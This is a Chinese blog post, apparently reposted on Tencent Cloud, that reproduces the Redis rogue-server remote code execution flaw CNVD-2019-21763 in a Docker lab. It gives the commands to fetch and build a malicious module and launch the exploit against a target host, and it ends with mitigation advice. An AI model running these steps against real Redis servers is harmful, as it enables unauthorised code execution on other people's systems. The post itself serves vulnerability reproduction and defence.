前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CNVD-2019-21763(复现)

CNVD-2019-21763(复现)

作者头像
字节脉搏实验室
发布2020-05-12 14:44:48
3.1K0
发布2020-05-12 14:44:48
举报

文章源自【字节脉搏社区】

作者-microworld

扫描下方二维码进入社区:

漏洞概述

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。作为一个高性能的key-value数据库,Redis在部分场景下对关系数据库起到很好的补充作用。

2019年7月7日,LC/BC的成员Pavel Toporkov在WCTF2019 Final分享会上介绍了Redis新版本的远程命令执行漏洞的利用方式。由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

影响版本

Redis 2.x,3.x,4.x,5.x

环境搭建

靶机:ubuntu(192.168.232.170)

攻击机:kali(192.168.232.129)

使用docker拉取redis镜像:

docker pull redis:5.0.0

启动:

docker run -itd --name redis-test -p 6379:6379 redis:5.0.0

测试是否启动成功:

漏洞检测

下载exp到本地:

git clone https://github.com/LoRexxar/redis-rogue-server.git

下载执行模块:

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

然后将该模块编译:make

在当前目录下会生成一个module.so

将其复制到redis-rogue-server目录下并改名为exp.so

在攻击机上执行命令:

python3 redis-rogue-server.py --rhost 192.168.232.170 --rport 6379 --lhost 192.168.232.129 --lport 23333

成功利用如下图:

也可以选择redis远程连接:

修复方式

1、禁止外部访问Redis 服务端口;

2、禁止使用root权限启动Redis服务;

3、配置安全组,限制可连接Redis服务器的IP。

建议使用Redis数据库的信息系统运营者进行自查,发现存在漏洞后,按照临时解决方案及时进行修复。

参考链接:

https://s.tencent.com/research/bsafe/755.html

https://github.com/LoRexxar/redis-rogue-server

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档